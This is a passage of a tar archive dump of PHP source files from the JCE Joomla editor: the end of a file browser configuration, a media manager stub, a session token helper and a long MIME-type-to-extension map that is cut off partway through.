            'features' => array(
                'upload' => $this->getParam('upload', 1),
                'folder' => array(
                    'create' => $this->getParam('folder_new', 1),
                    'delete' => $this->getParam('folder_delete', 1),
                    'rename' => $this->getParam('folder_rename', 1),
                    'move' => $this->getParam('folder_move', 1),
                ),
                'file' => array(
                    'delete' => $this->getParam('file_delete', 1),
                    'rename' => $this->getParam('file_rename', 1),
                    'move' => $this->getParam('file_move', 1),
                ),
            ),
            'websafe_mode' => $this->getParam('editor.websafe_mode', 'utf-8'),
            'websafe_spaces' => $websafe_spaces,
            'websafe_textcase' => $textcase,
            'date_format' => $this->getParam('editor.date_format', '%d/%m/%Y, %H:%M'),
            'position' => $this->getParam('editor.filebrowser_position', $this->getParam('editor.browser_position', 'bottom')),
        );

        return WFUtility::array_merge_recursive_distinct($base, $config);
    }
}
editor/libraries/classes/manager/manager.php000060400000001103150750527150015176 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/base.php';

class WFMediaManager extends WFMediaManagerBase
{
}
editor/libraries/classes/token.php000060400000002252150750527150013300 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

abstract class WFToken
{
    public static function getToken()
    {
        if (method_exists('JSession', 'getFormToken')) {
            return JSession::getFormToken();
        } else {
            return JFactory::getSession()->getToken();
        }
    }
    /**
     * Check the received token.
     */
    public static function checkToken($method = 'post')
    {
        if (method_exists('JSession', 'checkToken')) {
            return JSession::checkToken('post') || JSession::checkToken('get');
        }
        
        $token = self::getToken();

        // check POST and GET for token
        return JRequest::getVar($token, JRequest::getVar($token, '', 'GET', 'alnum'), 'POST', 'alnum');
    }
}
editor/libraries/classes/mime.php000060400000102221150750527150013104 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
abstract class WFMimeType
{
    /*
     * @var Array Mimetype values by extension
     * From mimetype list maintained at http://svn.apache.org/viewvc/httpd/httpd/trunk/docs/conf/mime.types
     */

    private static $mimes = array(
        'application/andrew-inset' => 'ez',
        'application/applixware' => 'aw',
        'application/atom+xml' => 'atom',
        'application/atomcat+xml' => 'atomcat',
        'application/atomsvc+xml' => 'atomsvc',
        'application/ccxml+xml' => 'ccxml',
        'application/cu-seeme' => 'cu',
        'application/davmount+xml' => 'davmount',
        'application/dssc+der' => 'dssc',
        'application/dssc+xml' => 'xdssc',
        'application/ecmascript' => 'ecma',
        'application/emma+xml' => 'emma',
        'application/epub+zip' => 'epub',
        'application/font-tdpfr' => 'pfr',
        'application/hyperstudio' => 'stk',
        'application/ipfix' => 'ipfix',
        'application/java-archive' => 'jar',
        'application/java-serialized-object' => 'ser',
        'application/java-vm' => 'class',
        'application/javascript' => 'js',
        'application/json' => 'json',
        'application/lost+xml' => 'lostxml',
        'application/mac-binhex40' => 'hqx',
        'application/mac-compactpro' => 'cpt',
        'application/marc' => 'mrc',
        'application/mathematica' => 'ma nb mb',
        'application/mathml+xml' => 'mathml',
        'application/mbox' => 'mbox',
        'application/mediaservercontrol+xml' => 'mscml',
        'application/mp4' => 'mp4s',
        'application/msword' => 'doc dot ppt xls xlsm dotx docx pptx xlsx ppsx sldx potx xltx',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 'dotx',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'docx',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 'pptx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'xlsx',
        'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 'ppsx',
        'application/vnd.openxmlformats-officedocument.presentationml.slide' => 'sldx',
        'application/vnd.openxmlformats-officedocument.presentationml.template' => 'potx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 'xltx',
        'application/mxf' => 'mxf',
        'application/octet-stream' => 'bin dms lha lrf lzh so iso dmg dist distz pkg bpk dump elc deploy',
        'application/oda' => 'oda',
        'application/oebps-package+xml' => 'opf',
        'application/ogg' => 'ogx ogg ogv oga',
        'application/onenote' => 'onetoc onetoc2 onetmp onepkg',
        'application/patch-ops-error+xml' => 'xer',
        'application/pdf' => 'pdf',
        'application/pgp-encrypted' => 'pgp',
        'application/pgp-signature' => 'asc sig',
        'application/pics-rules' => 'prf',
        'application/pkcs10' => 'p10',
        'application/pkcs7-mime' => 'p7m p7c',
        'application/pkcs7-signature' => 'p7s',
        'application/pkix-cert' => 'cer',
        'application/pkix-crl' => 'crl',
        'application/pkix-pkipath' => 'pkipath',
        'application/pkixcmp' => 'pki',
        'application/pls+xml' => 'pls',
        'application/postscript' => 'ai eps ps',
        'application/prs.cww' => 'cww',
        'application/rdf+xml' => 'rdf',
        'application/reginfo+xml' => 'rif',
        'application/relax-ng-compact-syntax' => 'rnc',
        'application/resource-lists+xml' => 'rl',
        'application/resource-lists-diff+xml' => 'rld',
        'application/rls-services+xml' => 'rs',
        'application/rsd+xml' => 'rsd',
        'application/rss+xml' => 'rss',
        'application/rtf' => 'rtf',
        'application/sbml+xml' => 'sbml',
        'application/scvp-cv-request' => 'scq',
        'application/scvp-cv-response' => 'scs',
        'application/scvp-vp-request' => 'spq',
        'application/scvp-vp-response' => 'spp',
        'application/sdp' => 'sdp',
        'application/set-payment-initiation' => 'setpay',
        'application/set-registration-initiation' => 'setreg',
        'application/shf+xml' => 'shf',
        'application/smil+xml' => 'smi smil',
        'application/sparql-query' => 'rq',
        'application/sparql-results+xml' => 'srx',
        'application/srgs' => 'gram',
        'application/srgs+xml' => 'grxml',
        'application/ssml+xml' => 'ssml',
        'application/vnd.3gpp.pic-bw-large' => 'plb',
        'application/vnd.3gpp.pic-bw-small' => 'psb',
        'application/vnd.3gpp.pic-bw-var' => 'pvb',
        'application/vnd.3gpp2.tcap' => 'tcap',
        'application/vnd.3m.post-it-notes' => 'pwn',
        'application/vnd.accpac.simply.aso' => 'aso',
        'application/vnd.accpac.simply.imp' => 'imp',
        'application/vnd.acucobol' => 'acu',
        'application/vnd.acucorp' => 'atc acutc',
        'application/vnd.adobe.air-application-installer-package+zip' => 'air',
        'application/vnd.adobe.xdp+xml' => 'xdp',
        'application/vnd.adobe.xfdf' => 'xfdf',
        'application/vnd.airzip.filesecure.azf' => 'azf',
        'application/vnd.airzip.filesecure.azs' => 'azs',
        'application/vnd.amazon.ebook' => 'azw',
        'application/vnd.americandynamics.acc' => 'acc',
        'application/vnd.amiga.ami' => 'ami',
        'application/vnd.android.package-archive' => 'apk',
        'application/vnd.anser-web-certificate-issue-initiation' => 'cii',
        'application/vnd.anser-web-funds-transfer-initiation' => 'fti',
        'application/vnd.antix.game-component' => 'atx',
        'application/vnd.apple.installer+xml' => 'mpkg',
        'application/vnd.apple.mpegurl' => 'm3u8',
        'application/vnd.aristanetworks.swi' => 'swi',
        'application/vnd.audiograph' => 'aep',
        'application/vnd.blueice.multipass' => 'mpm',
        'application/vnd.bmi' => 'bmi',
        'application/vnd.businessobjects' => 'rep',
        'application/vnd.chemdraw+xml' => 'cdxml',
        'application/vnd.chipnuts.karaoke-mmd' => 'mmd',
        'application/vnd.cinderella' => 'cdy',
        'application/vnd.claymore' => 'cla',
        'application/vnd.cloanto.rp9' => 'rp9',
        'application/vnd.clonk.c4group' => 'c4g c4d c4f c4p c4u',
        'application/vnd.commonspace' => 'csp',
        'application/vnd.contact.cmsg' => 'cdbcmsg',
        'application/vnd.cosmocaller' => 'cmc',
        'application/vnd.crick.clicker' => 'clkx',
        'application/vnd.crick.clicker.keyboard' => 'clkk',
        'application/vnd.crick.clicker.palette' => 'clkp',
        'application/vnd.crick.clicker.template' => 'clkt',
        'application/vnd.crick.clicker.wordbank' => 'clkw',
        'application/vnd.criticaltools.wbs+xml' => 'wbs',
        'application/vnd.ctc-posml' => 'pml',
        'application/vnd.cups-ppd' => 'ppd',
        'application/vnd.curl.car' => 'car',
        'application/vnd.curl.pcurl' => 'pcurl',
        'application/vnd.data-vision.rdz' => 'rdz',
        'application/vnd.denovo.fcselayout-link' => 'fe_launch',
        'application/vnd.dna' => 'dna',
        'application/vnd.dolby.mlp' => 'mlp',
        'application/vnd.dpgraph' => 'dpg',
        'application/vnd.dreamfactory' => 'dfac',
        'application/vnd.dynageo' => 'geo',
        'application/vnd.ecowin.chart' => 'mag',
        'application/vnd.enliven' => 'nml',
        'application/vnd.epson.esf' => 'esf',
        'application/vnd.epson.msf' => 'msf',
        'application/vnd.epson.quickanime' => 'qam',
        'application/vnd.epson.salt' => 'slt',
        'application/vnd.epson.ssf' => 'ssf',
        'application/vnd.eszigno3+xml' => 'es3 et3',
        'application/vnd.ezpix-album' => 'ez2',
        'application/vnd.ezpix-package' => 'ez3',
        'application/vnd.fdf' => 'fdf',
        'application/vnd.fdsn.mseed' => 'mseed',
        'application/vnd.fdsn.seed' => 'seed dataless',
        'application/vnd.flographit' => 'gph',
        'application/vnd.fluxtime.clip' => 'ftc',
        'application/vnd.framemaker' => 'fm frame maker book',
        'application/vnd.frogans.fnc' => 'fnc',
        'application/vnd.frogans.ltf' => 'ltf',
        'application/vnd.fsc.weblaunch' => 'fsc',
        'application/vnd.fujitsu.oasys' => 'oas',
        'application/vnd.fujitsu.oasys2' => 'oa2',
        'application/vnd.fujitsu.oasys3' => 'oa3',
        'application/vnd.fujitsu.oasysgp' => 'fg5',
        'application/vnd.fujitsu.oasysprs' => 'bh2',
        'application/vnd.fujixerox.ddd' => 'ddd',
        'application/vnd.fujixerox.docuworks' => 'xdw',
        'application/vnd.fujixerox.docuworks.binder' => 'xbd',
        'application/vnd.fuzzysheet' => 'fzs',
        'application/vnd.genomatix.tuxedo' => 'txd',
        'application/vnd.geogebra.file' => 'ggb',
        'application/vnd.geogebra.tool' => 'ggt',
        'application/vnd.geometry-explorer' => 'gex gre',
        'application/vnd.geonext' => 'gxt',
        'application/vnd.geoplan' => 'g2w',
        'application/vnd.geospace' => 'g3w',
        'application/vnd.gmx' => 'gmx',
        'application/vnd.google-earth.kml+xml' => 'kml',
        'application/vnd.google-earth.kmz' => 'kmz',
        'application/vnd.grafeq' => 'gqf gqs',
        'application/vnd.groove-account' => 'gac',
        'application/vnd.groove-help' => 'ghf',
        'application/vnd.groove-identity-message' => 'gim',
        'application/vnd.groove-injector' => 'grv',
        'application/vnd.groove-tool-message' => 'gtm',
        'application/vnd.groove-tool-template' => 'tpl',
        'application/vnd.groove-vcard' => 'vcg',
        'application/vnd.handheld-entertainment+xml' => 'zmm',
        'application/vnd.hbci' => 'hbci',
        'application/vnd.hhe.lesson-player' => 'les',
        'application/vnd.hp-hpgl' => 'hpgl',
        'application/vnd.hp-hpid' => 'hpid',
        'application/vnd.hp-hps' => 'hps',
        'application/vnd.hp-jlyt' => 'jlt',
        'application/vnd.hp-pcl' => 'pcl',
        'application/vnd.hp-pclxl' => 'pclxl',
        'application/vnd.hydrostatix.sof-data' => 'sfd-hdstx',
        'application/vnd.hzn-3d-crossword' => 'x3d',
        'application/vnd.ibm.minipay' => 'mpy',
        'application/vnd.ibm.modcap' => 'afp listafp list3820',
        'application/vnd.ibm.rights-management' => 'irm',
        'application/vnd.ibm.secure-container' => 'sc',
        'application/vnd.iccprofile' => 'icc icm',
        'application/vnd.igloader' => 'igl',
        'application/vnd.immervision-ivp' => 'ivp',
        'application/vnd.immervision-ivu' => 'ivu',
        'application/vnd.intercon.formnet' => 'xpw xpx',
        'application/vnd.intu.qbo' => 'qbo',
        'application/vnd.intu.qfx' => 'qfx',
        'application/vnd.ipunplugged.rcprofile' => 'rcprofile',
        'application/vnd.irepository.package+xml' => 'irp',
        'application/vnd.is-xpr' => 'xpr',
        'application/vnd.jam' => 'jam',
        'application/vnd.jcp.javame.midlet-rms' => 'rms',
        'application/vnd.jisp' => 'jisp',
        'application/vnd.joost.joda-archive' => 'joda',
        'application/vnd.kahootz' => 'ktz ktr',
        'application/vnd.kde.karbon' => 'karbon',
        'application/vnd.kde.kchart' => 'chrt',
        'application/vnd.kde.kformula' => 'kfo',
        'application/vnd.kde.kivio' => 'flw',
        'application/vnd.kde.kontour' => 'kon',
        'application/vnd.kde.kpresenter' => 'kpr kpt',
        'application/vnd.kde.kspread' => 'ksp',
        'application/vnd.kde.kword' => 'kwd kwt',
        'application/vnd.kenameaapp' => 'htke',
        'application/vnd.kidspiration' => 'kia',
        'application/vnd.kinar' => 'kne knp',
        'application/vnd.koan' => 'skp skd skt skm',
        'application/vnd.kodak-descriptor' => 'sse',
        'application/vnd.llamagraphics.life-balance.desktop' => 'lbd',
        'application/vnd.llamagraphics.life-balance.exchange+xml' => 'lbe',
        'application/vnd.lotus-1-2-3' => '123',
        'application/vnd.lotus-approach' => 'apr',
        'application/vnd.lotus-freelance' => 'pre',
        'application/vnd.lotus-notes' => 'nsf',
        'application/vnd.lotus-organizer' => 'org',
        'application/vnd.lotus-screencam' => 'scm',
        'application/vnd.lotus-wordpro' => 'lwp',
        'application/vnd.macports.portpkg' => 'portpkg',
        'application/vnd.mcd' => 'mcd',
        'application/vnd.medcalcdata' => 'mc1',
        'application/vnd.mediastation.cdkey' => 'cdkey',
        'application/vnd.mfer' => 'mwf',
        'application/vnd.mfmp' => 'mfm',
        'application/vnd.micrografx.flo' => 'flo',
        'application/vnd.micrografx.igx' => 'igx',
        'application/vnd.mif' => 'mif',
        'application/vnd.mobius.daf' => 'daf',
        'application/vnd.mobius.dis' => 'dis',
        'application/vnd.mobius.mbk' => 'mbk',
        'application/vnd.mobius.mqy' => 'mqy',
        'application/vnd.mobius.msl' => 'msl',
        'application/vnd.mobius.plc' => 'plc',
        'application/vnd.mobius.txf' => 'txf',
        'application/vnd.mophun.application' => 'mpn',
        'application/vnd.mophun.certificate' => 'mpc',
        'application/vnd.mozilla.xul+xml' => 'xul',
        'application/vnd.ms-artgalry' => 'cil',
        'application/vnd.ms-cab-compressed' => 'cab',
        'application/vnd.ms-excel' => 'xls xlm xla xlc xlt xlw xlsx xlsm',
        'application/vnd.ms-excel.addin.macroenabled.12' => 'xlam',
        'application/vnd.ms-excel.sheet.binary.macroenabled.12' => 'xlsb',
        'application/vnd.ms-excel.sheet.macroenabled.12' => 'xlsm',
        'application/vnd.ms-excel.template.macroenabled.12' => 'xltm',
        'application/vnd.ms-fontobject' => 'eot',
        'application/vnd.ms-htmlhelp' => 'chm',
        'application/vnd.ms-ims' => 'ims',
        'application/vnd.ms-lrm' => 'lrm',
        'application/vnd.ms-pki.seccat' => 'cat',
        'application/vnd.ms-pki.stl' => 'stl',
        'application/vnd.ms-powerpoint' => 'ppt pps pot pptx',
        'application/vnd.ms-powerpoint.addin.macroenabled.12' => 'ppam',
        'application/vnd.ms-powerpoint.presentation.macroenabled.12' => 'pptm',
        'application/vnd.ms-powerpoint.slide.macroenabled.12' => 'sldm',
        'application/vnd.ms-powerpoint.slideshow.macroenabled.12' => 'ppsm',
        'application/vnd.ms-powerpoint.template.macroenabled.12' => 'potm',
        'application/vnd.ms-project' => 'mpp mpt',
        'application/vnd.ms-word.document.macroenabled.12' => 'docm',
        'application/vnd.ms-word.template.macroenabled.12' => 'dotm',
        'application/vnd.ms-works' => 'wps wks wcm wdb',
        'application/vnd.ms-wpl' => 'wpl',
        'application/vnd.ms-xpsdocument' => 'xps',
        'application/vnd.mseq' => 'mseq',
        'application/vnd.musician' => 'mus',
        'application/vnd.muvee.style' => 'msty',
        'application/vnd.neurolanguage.nlu' => 'nlu',
        'application/vnd.noblenet-directory' => 'nnd',
        'application/vnd.noblenet-sealer' => 'nns',
        'application/vnd.noblenet-web' => 'nnw',
        'application/vnd.nokia.n-gage.data' => 'ngdat',
        'application/vnd.nokia.n-gage.symbian.install' => 'n-gage',
        'application/vnd.nokia.radio-preset' => 'rpst',
        'application/vnd.nokia.radio-presets' => 'rpss',
        'application/vnd.novadigm.edm' => 'edm',
        'application/vnd.novadigm.edx' => 'edx',
        'application/vnd.novadigm.ext' => 'ext',
        'application/vnd.oasis.opendocument.chart' => 'odc',
        'application/vnd.oasis.opendocument.chart-template' => 'otc',
        'application/vnd.oasis.opendocument.database' => 'odb',
        'application/vnd.oasis.opendocument.formula' => 'odf',
        'application/vnd.oasis.opendocument.formula-template' => 'odft',
        'application/vnd.oasis.opendocument.graphics' => 'odg',
        'application/vnd.oasis.opendocument.graphics-template' => 'otg',
        'application/vnd.oasis.opendocument.image' => 'odi',
        'application/vnd.oasis.opendocument.image-template' => 'oti',
        'application/vnd.oasis.opendocument.presentation' => 'odp',
        'application/vnd.oasis.opendocument.presentation-template' => 'otp',
        'application/vnd.oasis.opendocument.spreadsheet' => 'ods',
        'application/vnd.oasis.opendocument.spreadsheet-template' => 'ots',
        'application/vnd.oasis.opendocument.text' => 'odt',
        'application/vnd.oasis.opendocument.text-master' => 'otm',
        'application/vnd.oasis.opendocument.text-template' => 'ott',
        'application/vnd.oasis.opendocument.text-web' => 'oth',
        'application/vnd.olpc-sugar' => 'xo',
        'application/vnd.oma.dd2+xml' => 'dd2',
        'application/vnd.openofficeorg.extension' => 'oxt',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 'pptx',
        'application/vnd.openxmlformats-officedocument.presentationml.slide' => 'sldx',
        'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 'ppsx',
        'application/vnd.openxmlformats-officedocument.presentationml.template' => 'potx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'xlsx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 'xltx',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'docx dotx',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 'dotx',
        'application/vnd.osgi.dp' => 'dp',
        'application/vnd.palm' => 'pdb pqa oprc',
        'application/vnd.pawaafile' => 'paw',
        'application/vnd.pg.format' => 'str',
        'application/vnd.pg.osasli' => 'ei6',
        'application/vnd.picsel' => 'efif',
        'application/vnd.pmi.widget' => 'wg',
        'application/vnd.pocketlearn' => 'plf',
        'application/vnd.powerbuilder6' => 'pbd',
        'application/vnd.previewsystems.box' => 'box',
        'application/vnd.proteus.magazine' => 'mgz',
        'application/vnd.publishare-delta-tree' => 'qps',
        'application/vnd.pvi.ptid1' => 'ptid',
        'application/vnd.quark.quarkxpress' => 'qxd qxt qwd qwt qxl qxb',
        'application/vnd.realvnc.bed' => 'bed',
        'application/vnd.recordare.musicxml' => 'mxl',
        'application/vnd.recordare.musicxml+xml' => 'musicxml',
        'application/vnd.rim.cod' => 'cod',
        'application/vnd.rn-realmedia' => 'rm',
        'application/vnd.route66.link66+xml' => 'link66',
        'application/vnd.sailingtracker.track' => 'st',
        'application/vnd.seemail' => 'see',
        'application/vnd.sema' => 'sema',
        'application/vnd.semd' => 'semd',
        'application/vnd.semf' => 'semf',
        'application/vnd.shana.informed.formdata' => 'ifm',
        'application/vnd.shana.informed.formtemplate' => 'itp',
        'application/vnd.shana.informed.interchange' => 'iif',
        'application/vnd.shana.informed.package' => 'ipk',
        'application/vnd.simtech-mindmapper' => 'twd twds',
        'application/vnd.smaf' => 'mmf',
        'application/vnd.smart.teacher' => 'teacher',
        'application/vnd.solent.sdkm+xml' => 'sdkm sdkd',
        'application/vnd.spotfire.dxp' => 'dxp',
        'application/vnd.spotfire.sfs' => 'sfs',
        'application/vnd.stardivision.calc' => 'sdc',
        'application/vnd.stardivision.draw' => 'sda',
        'application/vnd.stardivision.impress' => 'sdd',
        'application/vnd.stardivision.math' => 'smf',
        'application/vnd.stardivision.writer' => 'sdw vor',
        'application/vnd.stardivision.writer-global' => 'sgl',
        'application/vnd.sun.xml.calc' => 'sxc',
        'application/vnd.sun.xml.calc.template' => 'stc',
        'application/vnd.sun.xml.draw' => 'sxd',
        'application/vnd.sun.xml.draw.template' => 'std',
        'application/vnd.sun.xml.impress' => 'sxi',
        'application/vnd.sun.xml.impress.template' => 'sti',
        'application/vnd.sun.xml.math' => 'sxm',
        'application/vnd.sun.xml.writer' => 'sxw',
        'application/vnd.sun.xml.writer.global' => 'sxg',
        'application/vnd.sun.xml.writer.template' => 'stw',
        'application/vnd.sus-calendar' => 'sus susp',
        'application/vnd.svd' => 'svd',
        'application/vnd.symbian.install' => 'sis sisx',
        'application/vnd.syncml+xml' => 'xsm',
        'application/vnd.syncml.dm+wbxml' => 'bdm',
        'application/vnd.syncml.dm+xml' => 'xdm',
        'application/vnd.tao.intent-module-archive' => 'tao',
        'application/vnd.tmobile-livetv' => 'tmo',
        'application/vnd.trid.tpt' => 'tpt',
        'application/vnd.triscape.mxs' => 'mxs',
        'application/vnd.trueapp' => 'tra',
        'application/vnd.ufdl' => 'ufd ufdl',
        'application/vnd.uiq.theme' => 'utz',
        'application/vnd.umajin' => 'umj',
        'application/vnd.unity' => 'unityweb',
        'application/vnd.uoml+xml' => 'uoml',
        'application/vnd.vcx' => 'vcx',
        'application/vnd.visio' => 'vsd vst vss vsw',
        'application/vnd.visionary' => 'vis',
        'application/vnd.vsf' => 'vsf',
        'application/vnd.wap.wbxml' => 'wbxml',
        'application/vnd.wap.wmlc' => 'wmlc',
        'application/vnd.wap.wmlscriptc' => 'wmlsc',
        'application/vnd.webturbo' => 'wtb',
        'application/vnd.wolfram.player' => 'nbp',
        'application/vnd.wordperfect' => 'wpd',
        'application/vnd.wqd' => 'wqd',
        'application/vnd.wt.stf' => 'stf',
        'application/vnd.xara' => 'xar',
        'application/vnd.xfdl' => 'xfdl',
        'application/vnd.yamaha.hv-dic' => 'hvd',
        'application/vnd.yamaha.hv-script' => 'hvs',
        'application/vnd.yamaha.hv-voice' => 'hvp',
        'application/vnd.yamaha.openscoreformat' => 'osf',
        'application/vnd.yamaha.openscoreformat.osfpvg+xml' => 'osfpvg',
        'application/vnd.yamaha.smaf-audio' => 'saf',
        'application/vnd.yamaha.smaf-phrase' => 'spf',
        'application/vnd.yellowriver-custom-menu' => 'cmp',
        'application/vnd.zul' => 'zir zirz',
        'application/vnd.zzazz.deck+xml' => 'zaz',
        'application/voicexml+xml' => 'vxml',
        'application/winhlp' => 'hlp',
        'application/wsdl+xml' => 'wsdl',
        'application/wspolicy+xml' => 'wspolicy',
        'application/x-abiword' => 'abw',
        'application/x-ace-compressed' => 'ace',
        'application/x-authorware-bin' => 'aab x32 u32 vox',
        'application/x-authorware-map' => 'aam',
        'application/x-authorware-seg' => 'aas',
        'application/x-bcpio' => 'bcpio',
        'application/x-bittorrent' => 'torrent',
        'application/x-bzip' => 'bz',
        'application/x-bzip2' => 'bz2 boz',
        'application/x-cdlink' => 'vcd',
        'application/x-chat' => 'chat',
        'application/x-chess-pgn' => 'pgn',
        'application/x-cpio' => 'cpio',
        'application/x-csh' => 'csh',
        'application/x-debian-package' => 'deb udeb',
        'application/x-director' => 'dir dcr dxr cst cct cxt w3d fgd swa',
        'application/x-doom' => 'wad',
        'application/x-dtbncx+xml' => 'ncx',
        'application/x-dtbook+xml' => 'dtb',
        'application/x-dtbresource+xml' => 'res',
        'application/x-dvi' => 'dvi',
        'application/x-font-bdf' => 'bdf',
        'application/x-font-ghostscript' => 'gsf',
        'application/x-font-linux-psf' => 'psf',
        'application/x-font-otf' => 'otf',
        'application/x-font-pcf' => 'pcf',
        'application/x-font-snf' => 'snf',
        'application/x-font-ttf' => 'ttf ttc',
        'application/x-font-type1' => 'pfa pfb pfm afm',
        'application/x-futuresplash' => 'spl',
        'application/x-gnumeric' => 'gnumeric',
        'application/x-gtar' => 'gtar',
        'application/x-hdf' => 'hdf',
        'application/x-java-jnlp-file' => 'jnlp',
        'application/x-latex' => 'latex',
        'application/x-mobipocket-ebook' => 'prc mobi',
        'application/x-ms-application' => 'application',
        'application/x-ms-wmd' => 'wmd',
        'application/x-ms-wmz' => 'wmz',
        'application/x-ms-xbap' => 'xbap',
        'application/x-msaccess' => 'mdb',
        'application/x-msbinder' => 'obd',
        'application/x-mscardfile' => 'crd',
        'application/x-msclip' => 'clp',
        'application/x-msdownload' => 'exe dll com bat msi',
        'application/x-msmediaview' => 'mvb m13 m14',
        'application/x-msmetafile' => 'wmf',
        'application/x-msmoney' => 'mny',
        'application/x-mspublisher' => 'pub',
        'application/x-msschedule' => 'scd',
        'application/x-msterminal' => 'trm',
        'application/x-mswrite' => 'wri',
        'application/x-netcdf' => 'nc cdf',
        'application/x-pkcs12' => 'p12 pfx',
        'application/x-pkcs7-certificates' => 'p7b spc',
        'application/x-pkcs7-certreqresp' => 'p7r',
        'application/x-rar-compressed' => 'rar',
        'application/x-sh' => 'sh',
        'application/x-shar' => 'shar',
        'application/x-shockwave-flash' => 'swf',
        'application/x-silverlight-app' => 'xap',
        'application/x-stuffit' => 'sit',
        'application/x-stuffitx' => 'sitx',
        'application/x-sv4cpio' => 'sv4cpio',
        'application/x-sv4crc' => 'sv4crc',
        'application/x-tar' => 'tar',
        'application/x-tcl' => 'tcl',
        'application/x-tex' => 'tex',
        'application/x-tex-tfm' => 'tfm',
        'application/x-texinfo' => 'texinfo texi',
        'application/x-ustar' => 'ustar',
        'application/x-wais-source' => 'src',
        'application/x-x509-ca-cert' => 'der crt',
        'application/x-xfig' => 'fig',
        'application/x-xpinstall' => 'xpi',
        'application/xenc+xml' => 'xenc',
        'application/xhtml+xml' => 'xhtml xht',
        'application/xml' => 'xml xsl',
        'application/xml-dtd' => 'dtd',
        'application/xop+xml' => 'xop',
        'application/xslt+xml' => 'xslt',
        'application/xspf+xml' => 'xspf',
        'application/xv+xml' => 'mxml xhvml xvml xvm',
        'application/zip' => 'zip docx pptx ppsx xlsx sldx potx xltx dotx',
        'audio/adpcm' => 'adp',
        'audio/basic' => 'au snd',
        'audio/midi' => 'mid midi kar rmi',
        'audio/mp4' => 'mp4a',
        'audio/mpeg' => 'mpga mp2 mp2a mp3 m2a m3a',
        'audio/ogg' => 'oga ogg spx',
        'audio/vnd.digital-winds' => 'eol',
        'audio/vnd.dra' => 'dra',
        'audio/vnd.dts' => 'dts',
        'audio/vnd.dts.hd' => 'dtshd',
        'audio/vnd.lucent.voice' => 'lvp',
        'audio/vnd.ms-playready.media.pya' => 'pya',
        'audio/vnd.nuera.ecelp4800' => 'ecelp4800',
        'audio/vnd.nuera.ecelp7470' => 'ecelp7470',
        'audio/vnd.nuera.ecelp9600' => 'ecelp9600',
        'audio/x-aac' => 'aac',
        'audio/x-aiff' => 'aif aiff aifc',
        'audio/x-mpegurl' => 'm3u',
        'audio/x-ms-wax' => 'wax',
        'audio/x-ms-wma' => 'wma',
        'audio/x-pn-realaudio' => 'ram ra',
        'audio/x-pn-realaudio-plugin' => 'rmp',
        'audio/x-wav' => 'wav',
        'audio/webm' => 'webm',
        'chemical/x-cdx' => 'cdx',
        'chemical/x-cif' => 'cif',
        'chemical/x-cmdf' => 'cmdf',
        'chemical/x-cml' => 'cml',
        'chemical/x-csml' => 'csml',
        'chemical/x-xyz' => 'xyz',
        'image/bmp' => 'bmp',
        'image/cgm' => 'cgm',
        'image/g3fax' => 'g3',
        'image/gif' => 'gif',
        'image/ief' => 'ief',
        'image/jpeg' => 'jpeg jpg jpe',
        'image/png' => 'png',
        'image/prs.btif' => 'btif',
        'image/svg+xml' => 'svg svgz',
        'image/tiff' => 'tiff tif',
        'image/vnd.adobe.photoshop' => 'psd',
        'image/vnd.djvu' => 'djvu djv',
        'image/vnd.dwg' => 'dwg',
        'image/vnd.dxf' => 'dxf',
        'image/vnd.fastbidsheet' => 'fbs',
        'image/vnd.fpx' => 'fpx',
        'image/vnd.fst' => 'fst',
        'image/vnd.fujixerox.edmics-mmr' => 'mmr',
        'image/vnd.fujixerox.edmics-rlc' => 'rlc',
        'image/vnd.ms-modi' => 'mdi',
        'image/vnd.net-fpx' => 'npx',
        'image/vnd.wap.wbmp' => 'wbmp',
        'image/vnd.xiff' => 'xif',
        'image/x-cmu-raster' => 'ras',
        'image/x-cmx' => 'cmx',
        'image/x-freehand' => 'fh fhc fh4 fh5 fh7',
        'image/x-icon' => 'ico',
        'image/x-pcx' => 'pcx',
        'image/x-pict' => 'pic pct',
        'image/x-portable-anymap' => 'pnm',
        'image/x-portable-bitmap' => 'pbm',
        'image/x-portable-graymap' => 'pgm',
        'image/x-portable-pixmap' => 'ppm',
        'image/x-rgb' => 'rgb',
        'image/x-xbitmap' => 'xbm',
        'image/x-xpixmap' => 'xpm',
        'image/x-xwindowdump' => 'xwd',
        'message/rfc822' => 'eml mime',
        'model/iges' => 'igs iges',
        'model/mesh' => 'msh mesh silo',
        'model/vnd.dwf' => 'dwf',
        'model/vnd.gdl' => 'gdl',
        'model/vnd.gtw' => 'gtw',
        'model/vnd.mts' => 'mts',
        'model/vnd.vtu' => 'vtu',
        'model/vrml' => 'wrl vrml',
        'text/calendar' => 'ics ifb',
        'text/css' => 'css',
        'text/csv' => 'csv',
        'text/html' => 'html htm',
        'text/plain' => 'txt text conf def list log in',
        'text/prs.lines.tag' => 'dsc',
